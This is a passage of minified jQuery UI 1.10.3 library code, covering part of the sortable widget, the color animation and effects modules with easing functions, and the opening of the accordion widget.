i,s,n,o,a,r,h,l,c=this.items,u=[[t.isFunction(this.options.items)?this.options.items.call(this.element[0],e,{item:this.currentItem}):t(this.options.items,this.element),this]],d=this._connectWith();if(d&&this.ready)for(i=d.length-1;i>=0;i--)for(n=t(d[i]),s=n.length-1;s>=0;s--)o=t.data(n[s],this.widgetFullName),o&&o!==this&&!o.options.disabled&&(u.push([t.isFunction(o.options.items)?o.options.items.call(o.element[0],e,{item:this.currentItem}):t(o.options.items,o.element),o]),this.containers.push(o));for(i=u.length-1;i>=0;i--)for(a=u[i][1],r=u[i][0],s=0,l=r.length;l>s;s++)h=t(r[s]),h.data(this.widgetName+"-item",a),c.push({item:h,instance:a,width:0,height:0,left:0,top:0})},refreshPositions:function(e){this.offsetParent&&this.helper&&(this.offset.parent=this._getParentOffset());var i,s,n,o;for(i=this.items.length-1;i>=0;i--)s=this.items[i],s.instance!==this.currentContainer&&this.currentContainer&&s.item[0]!==this.currentItem[0]||(n=this.options.toleranceElement?t(this.options.toleranceElement,s.item):s.item,e||(s.width=n.outerWidth(),s.height=n.outerHeight()),o=n.offset(),s.left=o.left,s.top=o.top);if(this.options.custom&&this.options.custom.refreshContainers)this.options.custom.refreshContainers.call(this);else for(i=this.containers.length-1;i>=0;i--)o=this.containers[i].element.offset(),this.containers[i].containerCache.left=o.left,this.containers[i].containerCache.top=o.top,this.containers[i].containerCache.width=this.containers[i].element.outerWidth(),this.containers[i].containerCache.height=this.containers[i].element.outerHeight();return this},_createPlaceholder:function(e){e=e||this;var i,s=e.options;s.placeholder&&s.placeholder.constructor!==String||(i=s.placeholder,s.placeholder={element:function(){var s=e.currentItem[0].nodeName.toLowerCase(),n=t("<"+s+">",e.document[0]).addClass(i||e.currentItem[0].className+" ui-sortable-placeholder").removeClass("ui-sortable-helper");return"tr"===s?e.currentItem.children().each(function(){t("<td>&#160;</td>",e.document[0]).attr("colspan",t(this).attr("colspan")||1).appendTo(n)}):"img"===s&&n.attr("src",e.currentItem.attr("src")),i||n.css("visibility","hidden"),n},update:function(t,n){(!i||s.forcePlaceholderSize)&&(n.height()||n.height(e.currentItem.innerHeight()-parseInt(e.currentItem.css("paddingTop")||0,10)-parseInt(e.currentItem.css("paddingBottom")||0,10)),n.width()||n.width(e.currentItem.innerWidth()-parseInt(e.currentItem.css("paddingLeft")||0,10)-parseInt(e.currentItem.css("paddingRight")||0,10)))}}),e.placeholder=t(s.placeholder.element.call(e.element,e.currentItem)),e.currentItem.after(e.placeholder),s.placeholder.update(e,e.placeholder)},_contactContainers:function(s){var n,o,a,r,h,l,c,u,d,p,f=null,g=null;for(n=this.containers.length-1;n>=0;n--)if(!t.contains(this.currentItem[0],this.containers[n].element[0]))if(this._intersectsWith(this.containers[n].containerCache)){if(f&&t.contains(this.containers[n].element[0],f.element[0]))continue;f=this.containers[n],g=n}else this.containers[n].containerCache.over&&(this.containers[n]._trigger("out",s,this._uiHash(this)),this.containers[n].containerCache.over=0);if(f)if(1===this.containers.length)this.containers[g].containerCache.over||(this.containers[g]._trigger("over",s,this._uiHash(this)),this.containers[g].containerCache.over=1);else{for(a=1e4,r=null,p=f.floating||i(this.currentItem),h=p?"left":"top",l=p?"width":"height",c=this.positionAbs[h]+this.offset.click[h],o=this.items.length-1;o>=0;o--)t.contains(this.containers[g].element[0],this.items[o].item[0])&&this.items[o].item[0]!==this.currentItem[0]&&(!p||e(this.positionAbs.top+this.offset.click.top,this.items[o].top,this.items[o].height))&&(u=this.items[o].item.offset()[h],d=!1,Math.abs(u-c)>Math.abs(u+this.items[o][l]-c)&&(d=!0,u+=this.items[o][l]),a>Math.abs(u-c)&&(a=Math.abs(u-c),r=this.items[o],this.direction=d?"up":"down"));if(!r&&!this.options.dropOnEmpty)return;if(this.currentContainer===this.containers[g])return;r?this._rearrange(s,r,null,!0):this._rearrange(s,null,this.containers[g].element,!0),this._trigger("change",s,this._uiHash()),this.containers[g]._trigger("change",s,this._uiHash(this)),this.currentContainer=this.containers[g],this.options.placeholder.update(this.currentContainer,this.placeholder),this.containers[g]._trigger("over",s,this._uiHash(this)),this.containers[g].containerCache.over=1}},_createHelper:function(e){var i=this.options,s=t.isFunction(i.helper)?t(i.helper.apply(this.element[0],[e,this.currentItem])):"clone"===i.helper?this.currentItem.clone():this.currentItem;return s.parents("body").length||t("parent"!==i.appendTo?i.appendTo:this.currentItem[0].parentNode)[0].appendChild(s[0]),s[0]===this.currentItem[0]&&(this._storedCSS={width:this.currentItem[0].style.width,height:this.currentItem[0].style.height,position:this.currentItem.css("position"),top:this.currentItem.css("top"),left:this.currentItem.css("left")}),(!s[0].style.width||i.forceHelperSize)&&s.width(this.currentItem.width()),(!s[0].style.height||i.forceHelperSize)&&s.height(this.currentItem.height()),s},_adjustOffsetFromHelper:function(e){"string"==typeof e&&(e=e.split(" ")),t.isArray(e)&&(e={left:+e[0],top:+e[1]||0}),"left"in e&&(this.offset.click.left=e.left+this.margins.left),"right"in e&&(this.offset.click.left=this.helperProportions.width-e.right+this.margins.left),"top"in e&&(this.offset.click.top=e.top+this.margins.top),"bottom"in e&&(this.offset.click.top=this.helperProportions.height-e.bottom+this.margins.top)},_getParentOffset:function(){this.offsetParent=this.helper.offsetParent();var e=this.offsetParent.offset();return"absolute"===this.cssPosition&&this.scrollParent[0]!==document&&t.contains(this.scrollParent[0],this.offsetParent[0])&&(e.left+=this.scrollParent.scrollLeft(),e.top+=this.scrollParent.scrollTop()),(this.offsetParent[0]===document.body||this.offsetParent[0].tagName&&"html"===this.offsetParent[0].tagName.toLowerCase()&&t.ui.ie)&&(e={top:0,left:0}),{top:e.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:e.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"===this.cssPosition){var t=this.currentItem.position();return{top:t.top-(parseInt(this.helper.css("top"),10)||0)+this.scrollParent.scrollTop(),left:t.left-(parseInt(this.helper.css("left"),10)||0)+this.scrollParent.scrollLeft()}}return{top:0,left:0}},_cacheMargins:function(){this.margins={left:parseInt(this.currentItem.css("marginLeft"),10)||0,top:parseInt(this.currentItem.css("marginTop"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var e,i,s,n=this.options;"parent"===n.containment&&(n.containment=this.helper[0].parentNode),("document"===n.containment||"window"===n.containment)&&(this.containment=[0-this.offset.relative.left-this.offset.parent.left,0-this.offset.relative.top-this.offset.parent.top,t("document"===n.containment?document:window).width()-this.helperProportions.width-this.margins.left,(t("document"===n.containment?document:window).height()||document.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top]),/^(document|window|parent)$/.test(n.containment)||(e=t(n.containment)[0],i=t(n.containment).offset(),s="hidden"!==t(e).css("overflow"),this.containment=[i.left+(parseInt(t(e).css("borderLeftWidth"),10)||0)+(parseInt(t(e).css("paddingLeft"),10)||0)-this.margins.left,i.top+(parseInt(t(e).css("borderTopWidth"),10)||0)+(parseInt(t(e).css("paddingTop"),10)||0)-this.margins.top,i.left+(s?Math.max(e.scrollWidth,e.offsetWidth):e.offsetWidth)-(parseInt(t(e).css("borderLeftWidth"),10)||0)-(parseInt(t(e).css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left,i.top+(s?Math.max(e.scrollHeight,e.offsetHeight):e.offsetHeight)-(parseInt(t(e).css("borderTopWidth"),10)||0)-(parseInt(t(e).css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top])},_convertPositionTo:function(e,i){i||(i=this.position);var s="absolute"===e?1:-1,n="absolute"!==this.cssPosition||this.scrollParent[0]!==document&&t.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,o=/(html|body)/i.test(n[0].tagName);return{top:i.top+this.offset.relative.top*s+this.offset.parent.top*s-("fixed"===this.cssPosition?-this.scrollParent.scrollTop():o?0:n.scrollTop())*s,left:i.left+this.offset.relative.left*s+this.offset.parent.left*s-("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():o?0:n.scrollLeft())*s}},_generatePosition:function(e){var i,s,n=this.options,o=e.pageX,a=e.pageY,r="absolute"!==this.cssPosition||this.scrollParent[0]!==document&&t.contains(this.scrollParent[0],this.offsetParent[0])?this.scrollParent:this.offsetParent,h=/(html|body)/i.test(r[0].tagName);return"relative"!==this.cssPosition||this.scrollParent[0]!==document&&this.scrollParent[0]!==this.offsetParent[0]||(this.offset.relative=this._getRelativeOffset()),this.originalPosition&&(this.containment&&(e.pageX-this.offset.click.left<this.containment[0]&&(o=this.containment[0]+this.offset.click.left),e.pageY-this.offset.click.top<this.containment[1]&&(a=this.containment[1]+this.offset.click.top),e.pageX-this.offset.click.left>this.containment[2]&&(o=this.containment[2]+this.offset.click.left),e.pageY-this.offset.click.top>this.containment[3]&&(a=this.containment[3]+this.offset.click.top)),n.grid&&(i=this.originalPageY+Math.round((a-this.originalPageY)/n.grid[1])*n.grid[1],a=this.containment?i-this.offset.click.top>=this.containment[1]&&i-this.offset.click.top<=this.containment[3]?i:i-this.offset.click.top>=this.containment[1]?i-n.grid[1]:i+n.grid[1]:i,s=this.originalPageX+Math.round((o-this.originalPageX)/n.grid[0])*n.grid[0],o=this.containment?s-this.offset.click.left>=this.containment[0]&&s-this.offset.click.left<=this.containment[2]?s:s-this.offset.click.left>=this.containment[0]?s-n.grid[0]:s+n.grid[0]:s)),{top:a-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.scrollParent.scrollTop():h?0:r.scrollTop()),left:o-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.scrollParent.scrollLeft():h?0:r.scrollLeft())}},_rearrange:function(t,e,i,s){i?i[0].appendChild(this.placeholder[0]):e.item[0].parentNode.insertBefore(this.placeholder[0],"down"===this.direction?e.item[0]:e.item[0].nextSibling),this.counter=this.counter?++this.counter:1;var n=this.counter;this._delay(function(){n===this.counter&&this.refreshPositions(!s)})},_clear:function(t,e){this.reverting=!1;var i,s=[];if(!this._noFinalSort&&this.currentItem.parent().length&&this.placeholder.before(this.currentItem),this._noFinalSort=null,this.helper[0]===this.currentItem[0]){for(i in this._storedCSS)("auto"===this._storedCSS[i]||"static"===this._storedCSS[i])&&(this._storedCSS[i]="");this.currentItem.css(this._storedCSS).removeClass("ui-sortable-helper")}else this.currentItem.show();for(this.fromOutside&&!e&&s.push(function(t){this._trigger("receive",t,this._uiHash(this.fromOutside))}),!this.fromOutside&&this.domPosition.prev===this.currentItem.prev().not(".ui-sortable-helper")[0]&&this.domPosition.parent===this.currentItem.parent()[0]||e||s.push(function(t){this._trigger("update",t,this._uiHash())}),this!==this.currentContainer&&(e||(s.push(function(t){this._trigger("remove",t,this._uiHash())}),s.push(function(t){return function(e){t._trigger("receive",e,this._uiHash(this))}}.call(this,this.currentContainer)),s.push(function(t){return function(e){t._trigger("update",e,this._uiHash(this))}}.call(this,this.currentContainer)))),i=this.containers.length-1;i>=0;i--)e||s.push(function(t){return function(e){t._trigger("deactivate",e,this._uiHash(this))}}.call(this,this.containers[i])),this.containers[i].containerCache.over&&(s.push(function(t){return function(e){t._trigger("out",e,this._uiHash(this))}}.call(this,this.containers[i])),this.containers[i].containerCache.over=0);if(this.storedCursor&&(this.document.find("body").css("cursor",this.storedCursor),this.storedStylesheet.remove()),this._storedOpacity&&this.helper.css("opacity",this._storedOpacity),this._storedZIndex&&this.helper.css("zIndex","auto"===this._storedZIndex?"":this._storedZIndex),this.dragging=!1,this.cancelHelperRemoval){if(!e){for(this._trigger("beforeStop",t,this._uiHash()),i=0;s.length>i;i++)s[i].call(this,t);this._trigger("stop",t,this._uiHash())}return this.fromOutside=!1,!1}if(e||this._trigger("beforeStop",t,this._uiHash()),this.placeholder[0].parentNode.removeChild(this.placeholder[0]),this.helper[0]!==this.currentItem[0]&&this.helper.remove(),this.helper=null,!e){for(i=0;s.length>i;i++)s[i].call(this,t);this._trigger("stop",t,this._uiHash())}return this.fromOutside=!1,!0},_trigger:function(){t.Widget.prototype._trigger.apply(this,arguments)===!1&&this.cancel()},_uiHash:function(e){var i=e||this;return{helper:i.helper,placeholder:i.placeholder||t([]),position:i.position,originalPosition:i.originalPosition,offset:i.positionAbs,item:i.currentItem,sender:e?e.element:null}}})}(jQuery),function(t,e){var i="ui-effects-";t.effects={effect:{}},function(t,e){function i(t,e,i){var s=u[e.type]||{};return null==t?i||!e.def?null:e.def:(t=s.floor?~~t:parseFloat(t),isNaN(t)?e.def:s.mod?(t+s.mod)%s.mod:0>t?0:t>s.max?s.max:t)}function s(i){var s=l(),n=s._rgba=[];return i=i.toLowerCase(),f(h,function(t,o){var a,r=o.re.exec(i),h=r&&o.parse(r),l=o.space||"rgba";return h?(a=s[l](h),s[c[l].cache]=a[c[l].cache],n=s._rgba=a._rgba,!1):e}),n.length?("0,0,0,0"===n.join()&&t.extend(n,o.transparent),s):o[i]}function n(t,e,i){return i=(i+1)%1,1>6*i?t+6*(e-t)*i:1>2*i?e:2>3*i?t+6*(e-t)*(2/3-i):t}var o,a="backgroundColor borderBottomColor borderLeftColor borderRightColor borderTopColor color columnRuleColor outlineColor textDecorationColor textEmphasisColor",r=/^([\-+])=\s*(\d+\.?\d*)/,h=[{re:/rgba?\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(t){return[t[1],t[2],t[3],t[4]]}},{re:/rgba?\(\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,parse:function(t){return[2.55*t[1],2.55*t[2],2.55*t[3],t[4]]}},{re:/#([a-f0-9]{2})([a-f0-9]{2})([a-f0-9]{2})/,parse:function(t){return[parseInt(t[1],16),parseInt(t[2],16),parseInt(t[3],16)]}},{re:/#([a-f0-9])([a-f0-9])([a-f0-9])/,parse:function(t){return[parseInt(t[1]+t[1],16),parseInt(t[2]+t[2],16),parseInt(t[3]+t[3],16)]}},{re:/hsla?\(\s*(\d+(?:\.\d+)?)\s*,\s*(\d+(?:\.\d+)?)\%\s*,\s*(\d+(?:\.\d+)?)\%\s*(?:,\s*(\d?(?:\.\d+)?)\s*)?\)/,space:"hsla",parse:function(t){return[t[1],t[2]/100,t[3]/100,t[4]]}}],l=t.Color=function(e,i,s,n){return new t.Color.fn.parse(e,i,s,n)},c={rgba:{props:{red:{idx:0,type:"byte"},green:{idx:1,type:"byte"},blue:{idx:2,type:"byte"}}},hsla:{props:{hue:{idx:0,type:"degrees"},saturation:{idx:1,type:"percent"},lightness:{idx:2,type:"percent"}}}},u={"byte":{floor:!0,max:255},percent:{max:1},degrees:{mod:360,floor:!0}},d=l.support={},p=t("<p>")[0],f=t.each;p.style.cssText="background-color:rgba(1,1,1,.5)",d.rgba=p.style.backgroundColor.indexOf("rgba")>-1,f(c,function(t,e){e.cache="_"+t,e.props.alpha={idx:3,type:"percent",def:1}}),l.fn=t.extend(l.prototype,{parse:function(n,a,r,h){if(n===e)return this._rgba=[null,null,null,null],this;(n.jquery||n.nodeType)&&(n=t(n).css(a),a=e);var u=this,d=t.type(n),p=this._rgba=[];return a!==e&&(n=[n,a,r,h],d="array"),"string"===d?this.parse(s(n)||o._default):"array"===d?(f(c.rgba.props,function(t,e){p[e.idx]=i(n[e.idx],e)}),this):"object"===d?(n instanceof l?f(c,function(t,e){n[e.cache]&&(u[e.cache]=n[e.cache].slice())}):f(c,function(e,s){var o=s.cache;f(s.props,function(t,e){if(!u[o]&&s.to){if("alpha"===t||null==n[t])return;u[o]=s.to(u._rgba)}u[o][e.idx]=i(n[t],e,!0)}),u[o]&&0>t.inArray(null,u[o].slice(0,3))&&(u[o][3]=1,s.from&&(u._rgba=s.from(u[o])))}),this):e},is:function(t){var i=l(t),s=!0,n=this;return f(c,function(t,o){var a,r=i[o.cache];return r&&(a=n[o.cache]||o.to&&o.to(n._rgba)||[],f(o.props,function(t,i){return null!=r[i.idx]?s=r[i.idx]===a[i.idx]:e})),s}),s},_space:function(){var t=[],e=this;return f(c,function(i,s){e[s.cache]&&t.push(i)}),t.pop()},transition:function(t,e){var s=l(t),n=s._space(),o=c[n],a=0===this.alpha()?l("transparent"):this,r=a[o.cache]||o.to(a._rgba),h=r.slice();return s=s[o.cache],f(o.props,function(t,n){var o=n.idx,a=r[o],l=s[o],c=u[n.type]||{};null!==l&&(null===a?h[o]=l:(c.mod&&(l-a>c.mod/2?a+=c.mod:a-l>c.mod/2&&(a-=c.mod)),h[o]=i((l-a)*e+a,n)))}),this[n](h)},blend:function(e){if(1===this._rgba[3])return this;var i=this._rgba.slice(),s=i.pop(),n=l(e)._rgba;return l(t.map(i,function(t,e){return(1-s)*n[e]+s*t}))},toRgbaString:function(){var e="rgba(",i=t.map(this._rgba,function(t,e){return null==t?e>2?1:0:t});return 1===i[3]&&(i.pop(),e="rgb("),e+i.join()+")"},toHslaString:function(){var e="hsla(",i=t.map(this.hsla(),function(t,e){return null==t&&(t=e>2?1:0),e&&3>e&&(t=Math.round(100*t)+"%"),t});return 1===i[3]&&(i.pop(),e="hsl("),e+i.join()+")"},toHexString:function(e){var i=this._rgba.slice(),s=i.pop();return e&&i.push(~~(255*s)),"#"+t.map(i,function(t){return t=(t||0).toString(16),1===t.length?"0"+t:t}).join("")},toString:function(){return 0===this._rgba[3]?"transparent":this.toRgbaString()}}),l.fn.parse.prototype=l.fn,c.hsla.to=function(t){if(null==t[0]||null==t[1]||null==t[2])return[null,null,null,t[3]];var e,i,s=t[0]/255,n=t[1]/255,o=t[2]/255,a=t[3],r=Math.max(s,n,o),h=Math.min(s,n,o),l=r-h,c=r+h,u=.5*c;return e=h===r?0:s===r?60*(n-o)/l+360:n===r?60*(o-s)/l+120:60*(s-n)/l+240,i=0===l?0:.5>=u?l/c:l/(2-c),[Math.round(e)%360,i,u,null==a?1:a]},c.hsla.from=function(t){if(null==t[0]||null==t[1]||null==t[2])return[null,null,null,t[3]];var e=t[0]/360,i=t[1],s=t[2],o=t[3],a=.5>=s?s*(1+i):s+i-s*i,r=2*s-a;return[Math.round(255*n(r,a,e+1/3)),Math.round(255*n(r,a,e)),Math.round(255*n(r,a,e-1/3)),o]},f(c,function(s,n){var o=n.props,a=n.cache,h=n.to,c=n.from;l.fn[s]=function(s){if(h&&!this[a]&&(this[a]=h(this._rgba)),s===e)return this[a].slice();var n,r=t.type(s),u="array"===r||"object"===r?s:arguments,d=this[a].slice();return f(o,function(t,e){var s=u["object"===r?t:e.idx];null==s&&(s=d[e.idx]),d[e.idx]=i(s,e)}),c?(n=l(c(d)),n[a]=d,n):l(d)},f(o,function(e,i){l.fn[e]||(l.fn[e]=function(n){var o,a=t.type(n),h="alpha"===e?this._hsla?"hsla":"rgba":s,l=this[h](),c=l[i.idx];return"undefined"===a?c:("function"===a&&(n=n.call(this,c),a=t.type(n)),null==n&&i.empty?this:("string"===a&&(o=r.exec(n),o&&(n=c+parseFloat(o[2])*("+"===o[1]?1:-1))),l[i.idx]=n,this[h](l)))})})}),l.hook=function(e){var i=e.split(" ");f(i,function(e,i){t.cssHooks[i]={set:function(e,n){var o,a,r="";if("transparent"!==n&&("string"!==t.type(n)||(o=s(n)))){if(n=l(o||n),!d.rgba&&1!==n._rgba[3]){for(a="backgroundColor"===i?e.parentNode:e;(""===r||"transparent"===r)&&a&&a.style;)try{r=t.css(a,"backgroundColor"),a=a.parentNode}catch(h){}n=n.blend(r&&"transparent"!==r?r:"_default")}n=n.toRgbaString()}try{e.style[i]=n}catch(h){}}},t.fx.step[i]=function(e){e.colorInit||(e.start=l(e.elem,i),e.end=l(e.end),e.colorInit=!0),t.cssHooks[i].set(e.elem,e.start.transition(e.end,e.pos))}})},l.hook(a),t.cssHooks.borderColor={expand:function(t){var e={};return f(["Top","Right","Bottom","Left"],function(i,s){e["border"+s+"Color"]=t}),e}},o=t.Color.names={aqua:"#00ffff",black:"#000000",blue:"#0000ff",fuchsia:"#ff00ff",gray:"#808080",green:"#008000",lime:"#00ff00",maroon:"#800000",navy:"#000080",olive:"#808000",purple:"#800080",red:"#ff0000",silver:"#c0c0c0",teal:"#008080",white:"#ffffff",yellow:"#ffff00",transparent:[null,null,null,0],_default:"#ffffff"}}(jQuery),function(){function i(e){var i,s,n=e.ownerDocument.defaultView?e.ownerDocument.defaultView.getComputedStyle(e,null):e.currentStyle,o={};if(n&&n.length&&n[0]&&n[n[0]])for(s=n.length;s--;)i=n[s],"string"==typeof n[i]&&(o[t.camelCase(i)]=n[i]);else for(i in n)"string"==typeof n[i]&&(o[i]=n[i]);return o}function s(e,i){var s,n,a={};for(s in i)n=i[s],e[s]!==n&&(o[s]||(t.fx.step[s]||!isNaN(parseFloat(n)))&&(a[s]=n));return a}var n=["add","remove","toggle"],o={border:1,borderBottom:1,borderColor:1,borderLeft:1,borderRight:1,borderTop:1,borderWidth:1,margin:1,padding:1};t.each(["borderLeftStyle","borderRightStyle","borderBottomStyle","borderTopStyle"],function(e,i){t.fx.step[i]=function(t){("none"!==t.end&&!t.setAttr||1===t.pos&&!t.setAttr)&&(jQuery.style(t.elem,i,t.end),t.setAttr=!0)}}),t.fn.addBack||(t.fn.addBack=function(t){return this.add(null==t?this.prevObject:this.prevObject.filter(t))}),t.effects.animateClass=function(e,o,a,r){var h=t.speed(o,a,r);return this.queue(function(){var o,a=t(this),r=a.attr("class")||"",l=h.children?a.find("*").addBack():a;l=l.map(function(){var e=t(this);return{el:e,start:i(this)}}),o=function(){t.each(n,function(t,i){e[i]&&a[i+"Class"](e[i])})},o(),l=l.map(function(){return this.end=i(this.el[0]),this.diff=s(this.start,this.end),this}),a.attr("class",r),l=l.map(function(){var e=this,i=t.Deferred(),s=t.extend({},h,{queue:!1,complete:function(){i.resolve(e)}});return this.el.animate(this.diff,s),i.promise()}),t.when.apply(t,l.get()).done(function(){o(),t.each(arguments,function(){var e=this.el;t.each(this.diff,function(t){e.css(t,"")})}),h.complete.call(a[0])})})},t.fn.extend({addClass:function(e){return function(i,s,n,o){return s?t.effects.animateClass.call(this,{add:i},s,n,o):e.apply(this,arguments)}}(t.fn.addClass),removeClass:function(e){return function(i,s,n,o){return arguments.length>1?t.effects.animateClass.call(this,{remove:i},s,n,o):e.apply(this,arguments)}}(t.fn.removeClass),toggleClass:function(i){return function(s,n,o,a,r){return"boolean"==typeof n||n===e?o?t.effects.animateClass.call(this,n?{add:s}:{remove:s},o,a,r):i.apply(this,arguments):t.effects.animateClass.call(this,{toggle:s},n,o,a)}}(t.fn.toggleClass),switchClass:function(e,i,s,n,o){return t.effects.animateClass.call(this,{add:i,remove:e},s,n,o)}})}(),function(){function s(e,i,s,n){return t.isPlainObject(e)&&(i=e,e=e.effect),e={effect:e},null==i&&(i={}),t.isFunction(i)&&(n=i,s=null,i={}),("number"==typeof i||t.fx.speeds[i])&&(n=s,s=i,i={}),t.isFunction(s)&&(n=s,s=null),i&&t.extend(e,i),s=s||i.duration,e.duration=t.fx.off?0:"number"==typeof s?s:s in t.fx.speeds?t.fx.speeds[s]:t.fx.speeds._default,e.complete=n||i.complete,e}function n(e){return!e||"number"==typeof e||t.fx.speeds[e]?!0:"string"!=typeof e||t.effects.effect[e]?t.isFunction(e)?!0:"object"!=typeof e||e.effect?!1:!0:!0}t.extend(t.effects,{version:"1.10.3",save:function(t,e){for(var s=0;e.length>s;s++)null!==e[s]&&t.data(i+e[s],t[0].style[e[s]])},restore:function(t,s){var n,o;for(o=0;s.length>o;o++)null!==s[o]&&(n=t.data(i+s[o]),n===e&&(n=""),t.css(s[o],n))},setMode:function(t,e){return"toggle"===e&&(e=t.is(":hidden")?"show":"hide"),e},getBaseline:function(t,e){var i,s;switch(t[0]){case"top":i=0;break;case"middle":i=.5;break;case"bottom":i=1;break;default:i=t[0]/e.height}switch(t[1]){case"left":s=0;break;case"center":s=.5;break;case"right":s=1;break;default:s=t[1]/e.width}return{x:s,y:i}},createWrapper:function(e){if(e.parent().is(".ui-effects-wrapper"))return e.parent();var i={width:e.outerWidth(!0),height:e.outerHeight(!0),"float":e.css("float")},s=t("<div></div>").addClass("ui-effects-wrapper").css({fontSize:"100%",background:"transparent",border:"none",margin:0,padding:0}),n={width:e.width(),height:e.height()},o=document.activeElement;try{o.id}catch(a){o=document.body}return e.wrap(s),(e[0]===o||t.contains(e[0],o))&&t(o).focus(),s=e.parent(),"static"===e.css("position")?(s.css({position:"relative"}),e.css({position:"relative"})):(t.extend(i,{position:e.css("position"),zIndex:e.css("z-index")}),t.each(["top","left","bottom","right"],function(t,s){i[s]=e.css(s),isNaN(parseInt(i[s],10))&&(i[s]="auto")}),e.css({position:"relative",top:0,left:0,right:"auto",bottom:"auto"})),e.css(n),s.css(i).show()},removeWrapper:function(e){var i=document.activeElement;return e.parent().is(".ui-effects-wrapper")&&(e.parent().replaceWith(e),(e[0]===i||t.contains(e[0],i))&&t(i).focus()),e},setTransition:function(e,i,s,n){return n=n||{},t.each(i,function(t,i){var o=e.cssUnit(i);o[0]>0&&(n[i]=o[0]*s+o[1])}),n}}),t.fn.extend({effect:function(){function e(e){function s(){t.isFunction(o)&&o.call(n[0]),t.isFunction(e)&&e()}var n=t(this),o=i.complete,r=i.mode;(n.is(":hidden")?"hide"===r:"show"===r)?(n[r](),s()):a.call(n[0],i,s)}var i=s.apply(this,arguments),n=i.mode,o=i.queue,a=t.effects.effect[i.effect];return t.fx.off||!a?n?this[n](i.duration,i.complete):this.each(function(){i.complete&&i.complete.call(this)}):o===!1?this.each(e):this.queue(o||"fx",e)},show:function(t){return function(e){if(n(e))return t.apply(this,arguments);var i=s.apply(this,arguments);return i.mode="show",this.effect.call(this,i)}}(t.fn.show),hide:function(t){return function(e){if(n(e))return t.apply(this,arguments);var i=s.apply(this,arguments);return i.mode="hide",this.effect.call(this,i)}}(t.fn.hide),toggle:function(t){return function(e){if(n(e)||"boolean"==typeof e)return t.apply(this,arguments);var i=s.apply(this,arguments);return i.mode="toggle",this.effect.call(this,i)}}(t.fn.toggle),cssUnit:function(e){var i=this.css(e),s=[];return t.each(["em","px","%","pt"],function(t,e){i.indexOf(e)>0&&(s=[parseFloat(i),e])}),s}})}(),function(){var e={};t.each(["Quad","Cubic","Quart","Quint","Expo"],function(t,i){e[i]=function(e){return Math.pow(e,t+2)}}),t.extend(e,{Sine:function(t){return 1-Math.cos(t*Math.PI/2)},Circ:function(t){return 1-Math.sqrt(1-t*t)},Elastic:function(t){return 0===t||1===t?t:-Math.pow(2,8*(t-1))*Math.sin((80*(t-1)-7.5)*Math.PI/15)},Back:function(t){return t*t*(3*t-2)},Bounce:function(t){for(var e,i=4;((e=Math.pow(2,--i))-1)/11>t;);return 1/Math.pow(4,3-i)-7.5625*Math.pow((3*e-2)/22-t,2)}}),t.each(e,function(e,i){t.easing["easeIn"+e]=i,t.easing["easeOut"+e]=function(t){return 1-i(1-t)},t.easing["easeInOut"+e]=function(t){return.5>t?i(2*t)/2:1-i(-2*t+2)/2}})}()}(jQuery),function(t){var e=0,i={},s={};i.height=i.paddingTop=i.paddingBottom=i.borderTopWidth=i.borderBottomWidth="hide",s.height=s.paddingTop=s.paddingBottom=s.borderTopWidth=s.borderBottomWidth="show",t.widget("ui.accordion",{version:"1.10.3",options:{active:0,animate:{},collapsible:!1,event:"click",header:"> li > :first-child,> :not(li):even",heightStyle:"auto",icons:{activeHeader:"ui-icon-triangle-1-s",header:"ui-icon-triangle-1-e"},activate:null,beforeActivate:null},_create:function(){var e=this.options;this.prevShow=this.prevHide=t(),this.element.addClass("ui-accordion ui-widget ui-helper-reset").attr("role","tablist"),e.collapsible||e.active!==!1&&null!=e.active||(e.active=0),this._processPanels(),0>e.active&&(e.active+=this.headers.length),this._refresh()},_getCreateEventData:function(){return{header:this.active,panel:this.active.length?this.active.next():t(),content:this.active.length?this.active.next():t()}},_createIcons:function(){var e=this.options.icons;e&&(t("<span>").addClass("ui-accordion-header-icon ui-icon "+e.header).prependTo(this.headers),this.active.children(".ui-accordion-header-icon").removeClass(e.header).addClass(e.activeHeader),this.headers.addClass("ui-accordion-icons"))
},_destroyIcons:function(){this.headers.removeClass("ui-accordion-icons").children(".ui-accordion-header-icon").remove()},_destroy:function(){var t;this.element.removeClass("ui-accordion ui-widget ui-helper-reset").removeAttr("role"),this.headers.removeClass("ui-accordion-header ui-accordion-header-active ui-helper-reset ui-state-default ui-corner-all ui-state-active ui-state-disabled ui-corner-top").removeAttr("role").removeAttr("aria-selected").removeAttr("aria-controls").removeAttr("tabIndex").each(function(){/^ui-accordion/.test(this.id)&&this.removeAttribute("id")}),this._destroyIcons(),t=this.headers.next().css("display","").removeAttr("role").removeAttr("aria-expanded").removeAttr("aria-hidden").removeAttr("aria-labelledby").removeClass("ui-helper-reset ui-widget-content ui-corner-bottom ui-accordion-content ui-accordion-content-active ui-state-disabled").each(function(){/^ui-accordion/.test(this.id)&&this.removeAttribute("id")}),"content"!==this.options.heightStyle&&t.css("height","")},_setOption:function(t,e){return"active"===t?(this._activate(e),undefined):("event"===t&&(this.options.event&&this._off(this.headers,this.options.event),this._setupEvents(e)),this._super(t,e),"collapsible"!==t||e||this.options.active!==!1||this._activate(0),"icons"===t&&(this._destroyIcons(),e&&this._createIcons()),"disabled"===t&&this.headers.add(this.headers.next()).toggleClass("ui-state-disabled",!!e),undefined)},_keydown:function(e){if(!e.altKey&&!e.ctrlKey){var i=t.ui.keyCode,s=this.headers.length,n=this.headers.index(e.target),o=!1;switch(e.keyCode){case i.RIGHT:case i.DOWN:o=this.headers[(n+1)%s];break;case 